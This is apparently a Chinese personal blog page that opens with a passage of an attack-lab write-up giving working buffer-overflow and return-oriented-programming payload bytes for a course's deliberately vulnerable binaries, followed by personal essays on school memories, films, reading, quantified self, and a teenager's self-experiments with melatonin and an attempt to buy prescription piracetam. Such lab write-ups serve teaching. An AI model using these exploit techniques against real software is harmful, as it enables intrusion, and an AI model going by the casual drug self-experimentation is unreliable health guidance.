接着我们通过反汇编 ctarget 得到的汇编文件,查找到了 touch1 的起始地址为 0x401770

所以第一关的答案即为:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
70 17 40 00 00 00 00 00

Phase_2

touch2 函数的代码:

void touch2(unsigned val) {
    vlevel = 2; /* Part of validation protocol */
    if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}

第二关与第一关的区别在于,触发的函数 touch2 需要一个参数,参数的内容即为我们先前拿到的 cookie 值,所以在触发 touch2 之前,我们需要将 0x32046301 先放入寄存器 %rdi 中。自己动手丰衣足食,我们要将这宝贵的 24 个字节的空间利用起来,插入我们自己写的汇编代码来完成此操作。

mov $0x32046301, %rdi
ret

将这段汇编代码译成机器码即为 48 c7 c7 01 63 04 32 c3。接着,结合上一题我们得到的信息,缓冲区是从 0x556694a8 开始的,所以我们将自己的代码放入缓冲区的最开始,然后再利用溢出把原有的返回地址改成我们代码的起始地址即 0x556694a8,程序就会跳到我们的指令开始执行。最后,只要把 touch2 的地址放在下一个栈顶即可。所以第二关的答案为:

48 c7 c7 01 63 04 32 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
a8 94 66 55 00 00 00 00
9c 17 40 00 00 00 00 00

Phase_3

/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval) {
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval) {
    vlevel = 3; /* Part of validation protocol */
    if (hexmatch(cookie, sval)) {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

通过阅读 touch3 的代码我们知道这次需要我们传入的不是 cookie 的值本身了,而是其字符串表示,所以首先需要将 0x32046301 译成 16 进制的 ASCii 码:33 32 30 34 36 33 30 31。但这里需要注意,字符串是均以 00 作为结尾的,所以应该写成:33 32 30 34 36 33 30 31 00。同上一题的思路,我们一开始可能会将本题的答案写成这样:

48 c7 c7 b8 94 66 55 c3 //mov $0x556694b8,%rdi ret
33 32 30 34 36 33 30 31 00
00 00 00 00 00 00 00
a8 94 66 55 00 00 00 00
70 18 40 00 00 00 00 00

结果运行后并不能成功,那么问题出在哪了?通过阅读实验的讲义和 hex2raw 这个程序的代码,我们会发现,缓冲区中的空间并不是一成不变的,随着程序的运行,不同的操作都可能会在不同程度上影响缓冲区中的内容,所以将 cookie 放在缓冲区里存储并读取的操作并不可行。因此我们只好利用缓冲区以外的栈内容了,这时可以考虑用 lea 这个命令来将存储在缓冲区外的 cookie 地址放入 %rdi 中。所以第三关答案为:

48 8d 7c 24 10 c3 00 00 //lea 0x10(%rsp),%rdi ret
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
a8 94 66 55 00 00 00 00
70 18 40 00 00 00 00 00
00 00 00 00 00 00 00 00
33 32 30 34 36 33 30 31 00

Phase_4

从这一关开始,我们要使用 rtarget 作为攻击目标来进行实验,不同于 ctarget,rtarget 开启了两类栈保护机制,使得我们的攻击更难入手了。

  • 随机化栈地址。也就是说我们无法像上面三道题一样,确切的了解到缓冲区的起始与终止地址了,这样一来我们也就没办法随意的利用缓冲区空间来存储相关的信息了。
  • 栈不可执行。程序运行时会将栈设置为不可执行,也就意味着我们即便插入了自己写的代码,栈也不会执行它,只会把它当成普通的数字进行处理。

有这两个门神加持,我们的攻击是否就无法入手了呢?显然不是。如果不能自己安插「奸细」的话,我们还可以利用「内鬼」。

查看 rtarget 的代码,我们可以看到许多形如这样的函数:

仔细观察的话我们可以发现,0x40191f 处的指令连起来的意思是将 0x909058c2 的放入到 %rdi 所指内存中,然后返回。但如果我们断章取义一下,从 0x401922 处开始看起,58 90 90 c3 就成了将栈顶指针出栈到 %rax 中然后返回,即 popq %rax ret

通过对比机器指令表,我们会发现 rtarget 其实有很多拥有二义性的指令可以为我们所用:

利用机器指令这样的二义性,我们可以利用程序中本身就存在的代码,来达到我们的目的。通过搜寻 rtarget 中类似的内鬼,我们可以在栈中写出如下的代码,来完成触发 touch2 所需要的操作。

popq %rax
cookie
movq %rax,%rdi
call touch2

一一对应到程序中「内鬼」所在的地址,我们得到了第四关的答案:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
22 19 40 00 00 00 00 00 //pop 指令所在处
01 63 04 32 00 00 00 00 //要出栈给 %rax 的 cookie
27 19 40 00 00 00 00 00 //mov 指令所在处
9c 17 40 00 00 00 00 00 //touch2 地址

Phase_5

第五关和第四关大同小异,只不过需要利用的「内鬼」变多了一些,因为我们要利用有限的指令在缓冲区外完成将 cookie 的 ASCii 值赋给 %rdi 这个操作,经过一番搜寻和拼凑,我们可以组成如下的代码:

mov %rsp, %rax
mov %rax, %rdi
pop %rax
0x48 //偏置值,即后来 %rsi 代表的内容,由于栈指针是在第一条被保存起来的,和位于最后的 cookie 位置偏差了 72 个字节,故此处为 0x48
mov %eax, %ecx
mov %ecx, %edx
mov %edx, %esi
lea (%rdi, %rsi, 1), %rax
mov %rax, %rdi
call touch3
cookie

转换成指令相应的地址,我们就得到了最后的答案:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
4d 19 40 00 00 00 00 00
27 19 40 00 00 00 00 00
22 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
5b 19 40 00 00 00 00 00
46 19 40 00 00 00 00 00
62 19 40 00 00 00 00 00
38 19 40 00 00 00 00 00
27 19 40 00 00 00 00 00
70 18 40 00 00 00 00 00
33 32 30 34 36 33 30 31 00

被剥离的一年

作者 JmPotato
2018年1月1日 18:38

时隔两年,再一次提笔(提键盘)写起了所谓「年终总结」。这曾是一个坚持了五年的习惯,但是断在了 2016 年,至于原因,也很简单,高三太忙了,没能抽出时间来干这件事情。当然,「忙」肯定只是个托辞,「懒」才是主导。今年无论如何都不能再搁置了,得把这件事继续下去,因为对我而言,2017 年是十分特殊的一年,许多事情在这一年发生了剧变。不知应该说自己幸运还是悲哀,我身处这份剧变的中心,清楚地看到了这场席卷了我,席卷了我的生活,席卷了我熟知的一切的风暴的每一个细节。

我的 2017 年分为两个部分——上半年和下半年。高考如同激光一般把这一年精确的分为了两个部分,上半年为高三,下半年为大学。

现在回忆起高三,这两个字在我心里已经不再简单的代表那个高中的年级,它变得更为概括,回忆高三总是会牵连出一连串更多的回忆。记得刚入校的那一天,对一中的印象完完全全只有「陌生」二字。2014 年入校三个月后我写下了这篇总得写点什么,现在读来,除了怀念,还有一丝羡慕那个充满理想主义的自己。很难想象,自己三年前还在憧憬向往的一切,都成了让现在的自己一次又一次扼腕叹息的铺垫。其中有一句话讲:

我从来不是怀旧的人,我一直期待未来。

很遗憾要让三年前的自己失望了,现如今的我愈发的怀旧。高中的每一分每一秒都让我无比的怀念,学校组织的周六自习,和学长们的足球周六之约,和同学一起上过的课,一起考过的试,一起参加过的活动,扯过的淡,和老师的互动,演过的讲,打扫过的卫生,打过的球,踢过的毽子,和张艺柯一起度过的课外活动,和她一起跑过步的跑道……

听旧歌这件事对我来说稍微显得有些沉重。把音乐当成了存档自己记忆的一种手段,每每听起记忆音乐总会让自己的情绪无比的低落。2017 年的最后一个夜晚,我在 KTV 里再一次听到了「平凡之路」,高中三年的记忆仿佛浓缩在这五分零一秒中,在我眼前展开后有收拢,然后再消失,没有任何停留的时间让我去抓紧,因为它确也已经不存在。

高考,一个在这 18 年来不停的与命运、重要、未来、前途这些词一起打包,被灌输进入我脑海的概念,成了这一年最平淡无奇的经历。考试前一晚才开始的紧张到第一门语文考完就不见踪影,剩下三门也在匆匆的书写中就那样快快的过去,直到最后一门英语考完,我踏出考场的那一步,才让我真正的意识到,一切都结束了。出成绩的前几分钟,我的心率飙到了 130,之后,这个心脏又回归往日的律动。

很多过去事情就这样,在突然中开始,在突然中结束,突然之后留下的只有突然情感,和身处「现在」这个语境中只能做到回忆的突兀的自己。

2017 年 7 月 13 日那天晚上我跟张艺柯哭诉,为什么这个世界会是这样子的,没有人知道发生了什么,也没有人理解我在做什么,说真话只会招来匿名的谩骂和嘲讽。她安慰了我很久,我也在那时暗自庆幸:至少这个世界上还有这样一位可爱的人还能理解我啊。也是过了很久我才明白她那晚对我的所言。有时人类的悲欢并不相通,我只是觉得他们吵闹。

我记得很清楚,那天的北京电闪雷鸣下起了暴雨,仿佛在为不公的命运所哭泣。我也记得很清楚,那时的空间小秘密里散布着对我一个人的仇恨言论,纵使这两件事很遥远,我还是有了一种奇特的命运的连接感,也需应该把这些一并装入旅行包,并沉入海底。

大一的上半学期就要结束,若是别人要问起我大学生活的体验。我想最大的感受就是被剥离。「杀死那个石家庄人」中有一句歌词:

生活在经验里,直到大厦崩塌。

大学前的十八年我都生活在一个熟悉的小镇中,每天走着熟悉的路线,遇见熟悉的人,做着熟悉的事情。一切都在我的经验中,前十八年我都生活在经验中,而得陌生,每日忙碌着自己不曾忙碌过的事,想着不曾想过的事。自己深爱的人上大学,来到异地,周边的一切都让人觉得陌生,甚至连唯一熟悉的自己也变大多都留在了那份经验中,父母,她,没有和你一起从中被剥离,只有你脱离了原先的一切。

2017 很糟,特别糟糕,我不喜欢,坏掉的硬盘,没法过关的消防检查,说真话的难度越来越高,一切都在变得更加糟糕,让人感到麻木。

2018 会好吗?不会。

但是,我得好,我和我爱的人得好。

2018 年给自己列一些具体而又现实的目标吧:

  • 多给爹妈打电话
  • 对张艺柯好好的
  • 必须做到第一二条
  • 不挂科
  • 看 25 本书
  • 看尽可能多的电影和电视剧
  • 别让自己再对自己失望了

回忆,电影以及豆瓣评分

作者 JmPotato
2017年12月23日 12:49

许久未更新博客了,虽然我有十足的理由相信并没有人会看,但还是要写。

回忆这个行为虽多会给人带来苦闷与彷徨——人生的主旋律总是遗憾的——但不可否认人之所以依然会热衷于回忆,是因为回忆除了再现遗憾,其另一迷人的特性便是能够再现美好。

能勾起回忆的东西总如同狩猎者一般潜伏在生活的各处,在不经意间突然出现,给你的大脑一击,先把你脱离现实,再把你拖进回忆的小木屋,小木屋诚然不如亲身经历时的感官宫殿豪华,但也足够精致,足够撑起我们体验彼时某一瞬的心流。

某一节线性代数课,老师举了一个博弈论的经典例子:囚徒困境。这四个字从老师的嘴中离开,似乎还未及我耳中,便已将我拉回高中的语文课。虽然我一向不怎么喜欢应试考试中的语文科目,但语文课依然是我高中上过的弥足珍贵的一课之一。究其原因,其中最主要的一条就是语文老师设置的课前演讲。上高中前我一直以为我是个表达欲为负的小孩子,表达观点对我来说甚是可怖,加上逢正式场合就紧张肚子疼的特点,保持缄默似乎更适合我。然而高中语文老师在第一节语文课就立下规矩:每天的语文课前,每位同学都要上台演讲,内容不限,自由发挥。起初这个规定给我带来了不少的困扰,怯场的毛病让我苦不堪言,然而随着尝试次数的增加,表达观点这件事能令人愉悦的特性逐渐展现,以及能有 40 个人在同一时间认真聆听并在乎你的声音,在现今着实是一件可遇而不可求之事(这一点我过了很久才意识到)。说回「囚徒困境」,它能让我回想起语文课是因为曾有一位朋友在语文课前演讲谈论过此命题:明星的黑粉其实便类似于该理论中身处博弈中心的囚徒。具体内容我已忘却,但讲这件事其实是为了印证我的两个想法,一是在语文课前的演讲确实是一种有效的发声,你的想法会被人在意并思考(真的感谢语文老师);二是回忆有自省的效用。线代课上五分钟的出神,引申出上面这一段文字,不可说没有收获。

依旧是回忆起高一,不知从哪一个时间节点开始,我给自己定下了每周至少看一部电影的目标。每次抽出几个小时,让自己迷失在不同导演,编剧,摄影和演员的世界里,合法嗑药一般的致幻作用让我深陷其中。这就是电影的魔力,生活给不了的,电影可以给你。把这一点展现的淋漓尽致的电影有很多,但最让我印象深刻的还是 La La Land,有人说它剧情俗套,是表现平平之作。然而 La La Land 之于我,好比电影这个词之于词典,电影该有的样子 La La Land 全有,对好莱坞黄金时代的致敬,近乎完美的配乐表现,电影最后的一段蒙太奇更是全片的精髓,此处我不再多言,真心恳切的希望大家能去看一看,自己来体会。说回我对看电影的坚持(所以你为什么总是跑偏(无所谓这是我的地盘我想怎么写怎么写)),这个习惯之所以没有坚持下去,我想是出于后来我自己的一个问题。起初看电影也好,读书也罢,类似的欣赏行为总是随便挑一部就看,拿一本就读,无论怎么样,只要爽就行(「爽」这个字略显轻浮,不过我想这样写的话感受能够直接一点,方便大家体会)。然而后来读书看电影总要在过程中想着我看这个东西有什么意义,总想着从字里行间抠出一点有价值的东西,功利的心态让自己有了一种莫名的抵触情绪。于是乎,这个习惯被搁置了。而后遇到想看的电影我还是会看,但似乎再也找不回高一那段时间吸毒似的精神体验了,这样的遗憾困扰了我两年,不过也终于在今年化解了。

事情的转机来源于一次疑问——豆瓣,IMDB 这类网站对电影,音乐和书籍的评价对我们的价值上限到底在哪里?换而言之,这些网站的评分对我们真的那么重要吗?我的结论是:并不那么重要,甚至根本不重要。豆瓣这类网站代表的是大众审美,即大多数人的选择。凡事只要贴上了「大多数」的标签,那么就会变的不那么酷,而不酷又意味着个性的缺失。在当代「集体利益高于一切 」的语境里,追求个性显得是多么弥足珍贵。而真正对我们重要的其实不是大多数的选择,而是自己的选择。一个东西好坏与否,对你意义如何,从来都取决于你,不取决于任何人。豆瓣评分,IMDB 评分,永远只能作为参考,一份来自大多数人的参考。你也许可以说:「哦,这个电影的豆瓣评分不低,咱们去看看吧。」但万不可说:「这个电影哪里不好?它的豆瓣评分可是有 9.9 分!」回想起自己曾经功利追求意义的行为,一切都释然了:意义无须挖掘,意义就是你自己。这也侧面体现了我们要警惕那些喜欢对他人好恶指手画脚的人的原因:因为他们想把你变成大多数。

豆瓣 TOP 250 也好,IMDB TOP 250 也好,I don‘t give a shit.

这三年(一)

作者 JmPotato
2017年7月31日 11:58

在大漠戈壁边陲的这个小镇里面,从地理环境到人际环境似乎都很小。地理环境不消说,任何一个在这里长大的人,对七里镇的地形可以说都是了如指掌。而对人际关系而言,「流动」这个概念也变得十分淡化。这里的幼儿园有五所,小学有四所,初中有两所,而高中只有一所。所以说很有可能,你幼儿园的玩伴会一直陪着你上完高中,因而很多时候,人际环境的改变往往都来自于升学,从这个学校到另外一个学校,新环境和新的人也会随之而来。

开学的那一天,怀着兴奋和一丝紧张,我踏进了高中的大门。最清晰的记忆莫过于当时一进校门,映入眼帘的是一个全新的环境,全新的环境里面又站满的全新的人,那种陌生感和新鲜感交错的体验,对处世未深的我着实是一种震撼。新的班级中一大半的同学都是来自二中,我熟悉的面孔很少,近乎全新的环境需要我去适应,对当时的我而言也是一种前所未有的体验。

早上匆忙的开学工作之后,下午便迎来了新学校送给我们的见面礼——军训。也罢,我当时坦然地接受了要被太阳烘烤一个星期的现实(如果我知道一周后我会变成什么样,我可能就不会这么想了)。全新的团体面对的第一个挑战就是军训,而军训又是一个多么需要团体精神的过程。在短短一周里就要在这个大家都不互相熟识的团体里培养起这团结精神,这现实吗?这是我当时内心犯下的嘀咕,当然,一切都进行得很顺利,最终的成果打消了我对这个集体的疑虑,军训汇演的结果是我们班得了第一名。究竟为何能做到如此?长久以来我都没有得到过一个合理的答案,我给自己唯一的解释可能是我们这四十个人本就注定适合成为这样一个集体,尽管从三年后的角度来看我们这个集体依然有让人缺憾的部分,但无论怎样,相识本身就是一种缘分,何况是共度三年呢?

军训结束后就是高中学习生活的正式开始,其实从初中开始,我就对高中的学习生活有莫名的向往,因为无论是听他人传言还是自己的各种了解,高中都是一个「不只有学习的地方」,有学生会,有各种各样的活动,有社团等等。虽然从日后来看,一中和我所期望的高中仍有所差距——不论怎样,这里虽不只有学习,但确实是一个该认真学习的地方——但还是满足了我对高中的大多数幻想。记得很清楚的一点是第一天上课,其实总的来说并没有上什么课,因为是初来乍到,这一天的每堂课都是该科的任课老师在跟我们聊天,给我们讲每门课在高中和初中的差距和一些学习上的注意事项。所有科目中我印象最深的便是语文老师,在与我们交流过后,她给我们每一个人布置了一个任务:每个人都要轮流准备时长约为十分钟的演讲,而这个演讲会放在每天语文课前进行。我的口才并不好,在高中以前,无论是班级还是大集会,可以说是基本没有过任何演讲的经验,加上我怯场的毛病,这样一旨圣令,一下子成了我高中生涯所要面对的第一个大挑战。不过也正是语文老师「课前十分钟」的设定,我收获了可能是这三年来最有价值的精神财富之一,具体为何物,我会在后来的文章中提到,在这里先小卖一个关子。

我对高中生活中最为期待的部分便是听闻多年,却从未体验过的晚自习了。我对人生中第一节晚自习的印象很深。那是语文老师的晚自习,因为第一次在夜晚上课,不免有些兴奋,全然没有学习的心态,和刘元昊不知聊到了什么便开始笑,也不知为何,笑的便停不下来,因为是晚自习,还得保持应有的纪律,所以无法笑出声来,但这一笑就是半个小时,于是乎,高中第一次涕泗横流的经历便贡献给了第一节晚自习的笑声。第一次晚自习是这般开心,本想着也是为高中学习生活开了个好头(明明玩了一个晚自习,开个毛线的好头),却也没曾想到这是我高三之前上的最后一节晚自习了。由于当时高三某位同学的举报,相关的教育机构把我们学校上了多年的晚自习定性为了「非法补课」,于是就被叫停了。我人生中第一节晚自习也随着这位同学的举报,一并被查处封存在了记忆里,遥远到两年后的高三才被再次唤醒。

然而有得有失,因为不用上晚自习,夜晚又被重新归还给了我们,除了写作业,对于玩心大的我而言,自然也就成了出去吃喝玩乐的好时机。庆幸的是班里的同学也不都是只会学习的学神,几次邀约过后,也变得熟络起来。最让人记忆深刻的,要属那些在学校后操场玩真心话大冒险度过的夜晚了。一中并不开放,至少大大的后操场很少真正开放给大众,学生在晚上也很难进去。我们要想每次进入,只好从学校后墙翻进去,翻墙也一下成了每次出去玩必不可少的乐趣,依稀记得马老板的裤子还被刮烂过,没能拍下来,可以说是很可惜了。由于不开放操场,操场的大灯也并不会打开,黑暗的夜色中,和同学坐在操场中央,谈天说地,感觉甚是美滋滋。短短几个月,我们的生活从毫不相干有了交集,大家彼此也从初见的陌生变得熟悉,从高冷变得逗比。人生中最重要的三年,我将会和这些人一起度过,不论之后的路会怎样,不论你我的各奔东西,几个月前,我们才初次见面,几个月后,我们就已然成为了一个团体。相见即是缘分,这种日渐形成的团结和友谊,是那么自然,美好。

有时别无他求,只希望在以后的人生岁月里,每一个参与这些美好的人能把这份记忆永远存留心底。

我为什么不再首先阅读书籍的前言了

作者 JmPotato
2017年7月7日 20:49

相信每个人对「文前页」这个概念都不陌生,在每本书正文内容开始之前都会有那么几页的前言。每本书的前言内容都大同小异,基本都是受出版社之邀,由作者本人(例如《活着》)、译者或是一些知名人士写下一些类似于读后感的东西,以来介绍书籍的内容或是一些背后的故事。

在此之前,我是属于那种对一本书的内容会从头到脚按顺序一字不落的看完的人,看不完封面绝不看前言,看不完前言绝不看正文。照理说这应该是一个「仔细」的好习惯,然而在这样持续很久之后,我猛然发现了这样一个习惯对我潜移默化的影响。

文字是一个人思想的流露,一本书的前言,不论是谁来写,难免都会掺杂进作者本人对这本书的观点和想法。如此一来,在正式接触书的正文前,如果我阅读了前言,首先接受的是一个人对这本书二次消化的结果,这时候先入为主的力量就会出现。很多次我在读完书的前言之后,都会不自觉地带着前言作者所写,去理解去判断书的内容。轻微一点的后果,我对一本书内容的判断力会有所偏薄,严重一些的情况,批判性思维此时在潜意识中逐渐被前言带来的先入为主思维所取代,以至于对一本书的个人理解全然建立在了前言作者之上,不能说这我在这本书一无所获,但也是失去了一次在沉浸书中,完全体验独立思考乐趣的机会。

类似的行为还有买书前看书评,看电影前看影评。所以我为什么不再首先阅读书籍的前言了?因为思考的独立精神十分重要,对内容的消费应当减少「二手思考」。也许看完一切后再去和他人探讨,写下书籍的「文后页」才是「前言」存在的合理的形式。

Hack Life With Biology

作者 JmPotato
2017年7月4日 14:35

你可能会奇怪这篇文章为什么会有这样一个标题,其实主要原因是因为我实在找不到合适的中文词汇来形容这篇文章的主题(语文渣暴露无遗🤦‍♂️),本篇只是做一个分享,分享一种有趣的 Hack 自己和生活的方式(可能听起来会让人有些难以下定决心去尝试)。

如标题「Hack Life With Biology」所言,今天的主角是生物学,然而更确切一点的描述可能是「人体机制与药理学的结合」,所以说也可以总结其为生物学+化学。

作息紊乱和褪黑素

一切都开始于高三。在进入「挨枕头就睡」这个阶段之前,我的高三生活层有这么一段作息紊乱的日子:有时晚自习回家之后会疲惫不堪,便不顾作业倒床便睡,第二天早上凌晨早起补作业;有时兴奋异常,做完数学作业还依旧感觉活力四射,但迫于无奈只好睡觉,然而第二天的清醒状态却依旧很差......类似的情况还有很多,加之学习成绩等各方面带来的压力,那一段时日可能是我精神上最为劳累且痛苦的时期。一开始我还尝试逼迫自己提前完成作业来争取更大的时间支配权,然而这个方法最终以向数学黑恶势力低头而告终。

作为一名想要发挥主观能动性改变世界的理科生,我开始了科学探索之路。经过我在维基百科上的一番跳转查阅,我得到了以下信息:

  • 人脑支配着昼夜节律
  • 人脑部拥有一个名为「松果体」的内分泌腺体
  • 松果体通过制造一种名为「褪黑素」的激素来调控昼夜节律
  • 褪黑素可以用来帮助入睡和治疗睡眠障碍
  • 褪黑素可以人为地补充

褪黑素在中国被划为保健食品一类,因此可以很容易地在市面上购买到,我在我家小区旁的药店里很轻松的便购入了规格为一瓶 60 片的褪黑素片。这里需要注意的是,褪黑素机理仅限于调整作息节律,打个比方来讲,褪黑素的作用只是在告诉你的大脑:你该睡觉了。因此褪黑素实际并无改变睡眠质量的功能,与安眠药的「安」字不同,它更像是一个「催眠剂」,重点在于「催」,如果你只是睡眠质量差劲,褪黑素并不能帮到你什么。

经过几天的定时服用褪黑素,效果可以说较为明显。比起平常下晚自习后不稳定的精神状况,经过调节后,困意的袭来基本可以控制在我想要的时间点上。以上也只是我主观感受的记录,至于严谨与否,以及有的人可能会提出的「安慰剂效应」,后文我会有所解释。

高强度脑力劳动和吡拉西坦

与高三伴随而来的,还有高强度的脑力劳动。不知道是否是我个人特例,上高三以后,我的记忆力开始下降,身边的人也时常提醒我这一点。对于学习上的信息还好,因为每天都有不同的重复,所以记忆还能表现得很好,但在生活上的一些琐事上,他人给我说的一些事情我经常性的遗忘,这是以前从未有过的,而且高三毕业到现在,记性差的问题也没再出现过,所以我更加坚信了记忆力下降这件事和高三是有一定联系的。

身体的运动有兴奋剂,不知道对于脑力劳动来说,是否也存在与兴奋剂类似的药物?依旧是经过一番查询,尽量地筛选可信度高的信息后,我发现了一个名为「吡拉西坦」的药物。

吡拉西坦为脑代谢改善药,临床上常用于急、慢性脑血管病、脑外伤、各种中毒性脑病等多种原因所致的记忆减退及轻、中度脑功能障碍,也可用于儿童智能发育迟缓。能促进脑内ADP转化为ATP,可促进乙酰胆碱合成并正增强神经兴奋的传导,具有促进脑内代谢作用。可以对抗由物理因素、化学因素所致的脑功能损伤。对缺氧所致的逆行性健忘有改进作用。可以增强记忆,提高学习能力。

对比多个脑代谢改善药物后,因为吡拉西坦的毒副作用最小,所以我选中了它作为改善脑力的尝试药物。

然而因为吡拉西坦属于处方药,我没能成功在药店买到它,因此这次对改善脑力的 Hack 尝试失败了。

注:以上信息均来自于互联网,具体药物表现如何还请咨询专业医生,虽为科学,但还是应当小心行事。

剧烈运动和牛磺酸

相信喜欢运动的人对功能性饮料应该不陌生,比起纯净水而言,功能性饮料中添加了糖分和无机盐等物质来补充剧烈运动后人体内水分、糖类以及电解质的流失。仔细看过配料表,除去氯化钠以外,功能性饮料中最常见的一个成分便是「牛磺酸」了。

经过一番查阅,我在 Google 学术中找到了这么几篇论文:

可以说论文中的结论都指向了牛磺酸对运动后的动物体有益的结论,除此之外,牛磺酸还有一些广泛被认可的作用:

牛磺酸在维持脑部运作及发展方面都扮演着重要的角色。牛磺酸能加速神经元的增生以及延长的作用。同时亦有利于细胞在脑内移动及增长神经轴突。另外在维持细胞膜的电位平衡方面,牛磺酸亦同样重要。因为它能帮助电解质如钾、钠、钙及镁质进出细胞,从而加强脑部的机能。由于牛磺酸有抑制神经的作用,所以它亦有抗痉挛及减少焦虑的特点。在脑中,如果麸胺酸在高水平的情况下,神经元便会因过度刺激而导致死亡。而牛磺酸则可助降低脑内麸胺酸的水平,因而对脑部起了保护的作用。除此之外,由于牛磺酸同时具有抗氧化的特点,故此它亦能保护脑部免受氧化物的伤害。

所以自此后的生活中,我都会不时关注自身牛磺酸的补充。

止于安慰剂效应的尝试

如实验褪黑素时所言,上述的一些药效和感受皆来自于我个人的主观感受,并无对照实验和单一变量的设置,也无法排除安慰剂效应可能带来的影响。虽然人类对褪黑素的研究已较为深入彻底,也确实证明了其促进睡眠的作用,但因为个体差异,也难保证这个方法对每一个失眠的人都有效。我还有许多利用药物改善生活品质的尝试,但都因为缺乏可靠的数据支撑,在此还是不做分享。

以上,就是我利用生物对身体,对生活进行 Hack 的一些尝试。

量化自我,以及数字化与脱数字化

作者 JmPotato
2017年6月17日 07:37

原文地址:https://sspai.com/post/39644

量化自我

少数派曾在 2016 年年终举办过一场「2016 与我的数字生活」年度征文活动,以「数字生活」为主题,鼓励大家回顾过去的 2016 年。虽没能直接参与其中,但我还是认真阅读了其中大部分的入选征文。在各路入选的征文中,出现频率最高,同时也是给我印象最深的两个字可能就是「量化」了。

我们所说的「量化」其全称应该为「量化自我」,其起源并不算晚,该运动由连线杂志杂志的编辑加里·沃尔夫和凯文·凯利在 2007 年发起,是一场将个人日常生活中用输入、状态和表现这样的参数,将科学技术引入日常生活中的技术革命,其目的是通过自我追踪进行自我认知,以达到对自我更理性化的认识和掌控。

量化自我的内容很丰富,可以是人体自身的生理信息,如心率、血压、体重和心情,也可以是人体表现的行为的信息,如跑步、自行车、游泳等运动。在可穿戴设备日渐普及的今天,「量化自我」的行为无时无刻不在发生。

「量化自我」代表的是一种「数字化」的趋势。运动健身可以数字化为手机屏幕上的步数与卡路里,现金支付可以数字化为在线支付中的几串数字与小数点。量化所带来的数字化,不简单表现在个体「自我」的趋势,更是当今乃至未来的一个人类发展趋势。

数字化给我们带来了什么

随着各种智能设备以及在线服务的普及,「数字化」给我们带来的最显著的一个好处就是便利。在线支付当道的今天,甚至连路边的煎饼果子摊都支持微信、支付宝付款,出门不带现金已经成为了许多人的一种选择。在线支付的发达,也为网约车,共享单车这类新兴创业提供了一个现实层面的可行性,如果约车扫车之后还得用现金支付,不免有一种畸重畸轻的不均衡感。电子书、外卖、网购等等一系列与生活相关的数字化便利不胜枚举,这一点上「数字化」带给我们的便利与发展无可争辩。

Apple Watch 上的支付宝界面

今日的可穿戴设备多瞄准的是健康领域,就连发布时以「时尚穿戴设备」自居的 Apple Watch 也在几次系统升级迭代后更专注的开始向运动手表过渡。 把「刷满手环的数据」作为动机,一部分人又重新拾起对运动的「热爱」,这个理念对于保持健康来说是否正当还有待商榷,但它对于健康的作用无疑是积极的。可穿戴设备的普及侧面反映了一种大众化的需求:对自我健康的掌控。比起我们的自我感觉,这种掌控是建立数字化上的,数字化的行走步数,数字化的心率变化,数字化的卡路里消耗,这种数字化无疑比起我们的主观感受更加客观,更加理性,它让我们对自己的运动,对自己的健康有了一种「掌控感」。看着自己的体重图表随时间成负相关,看着自己的跑步距离越来越长,这种成就感带来的积极影响必将逐渐取代「刷满手环的数据」,成为越来越多的人在健康这件事上量化自我的主要动机。

一次跑步的数据

数字化自我的终极目的是为了通过自我追踪来进行自我认知。当你对生活中一些数字化的场景运用如鱼得水,出门不再带钱包,有手机即可;无需多么专业,通过自己的运动数据制定的合理运动计划;也不用对旅游的行程过度操劳,网络上即可预定好一切。当一切都以数字化的形式呈现在你的眼前时,你正在以一种全新的视角审视自己:资产的流动不再局限于银行寄来的纸质账单,各种收支出在数字化中一目了然;身体的极限不再以肌肉酸痛和呼吸急促的形式迎面撞上你,而是可在各种运动数据中合理的规避和锻炼。正如千年以前的阿波罗神庙中的三句箴言之一所言:「认识你自己」。以数字化来认知自我,也许就是对这个箴言最好的践行。

数字化让我们失去了什么

凡事均有两面,数字化亦是如此。随着传统纸质媒体向互联网数字化转型,因数字化所带来的前所未有的时效性与信息量让一个现象孕育而生:信息碎片化。借助手机这个工具,在越来越少的时间里,人们正在获得越来越多的信息。在碎片化阅读中获得的信息虽然十分及时有效,但由于更新频繁且内容十分繁杂,正如其名的碎片化,久而久之从中获得的信息也变得支离破碎,在脑中失去了管理,容易遗忘,也难以组织,相应的价值大打折扣。碎片化阅读带来了大量的信息,而最后这些信息如果转变为无价值,也就实际构成了一种信息噪音,噪音越多越大,对真正有价值的信息的判断的干扰也会越来越大。重新审视当今的互联网,一个明星出轨就可以在社交网络上迎来无数关注,谣言肆虐,愚蠢的言论遍地可见。在一个属于「世界」的互联网中,依然存在着国度的边界,存在着限制,言论自由即便漂洋过海也可以被冠以「辱华」的名义,甚至一些言论只有在围墙下才可以享有坐井观天式的熠熠生辉。这般情景很难让人觉得这样一个数字化的时代就是最好的时代。

前不久一款名为 WannaCry 的勒索病毒席卷全球,近 150 个国家遭到攻击。

首轮受到攻击的国家及地区

医院因此瘫痪而无法收治病人,办公系统瘫痪,造成的损失不可估量。该病毒会加密受害者的电脑文件,并勒索一定数目的比特币来帮助受害者解密文件。因其通过网络传播,用时不久就波及全球,无数人中招。这件事是数字化世界的警钟,安全无论何时何地都是一个亘古不变的话题,然而世界上没有不透风的墙,隐患永远存在,安全应时刻警惕。数字化给人提供了便利,也为图谋不轨者提供了全新的手段,当我们的隐私也随着数字化进程前进时,我们不得不警惕地放慢脚步,看清前方的陷阱与迷宫。

WannaCry 的勒索界面

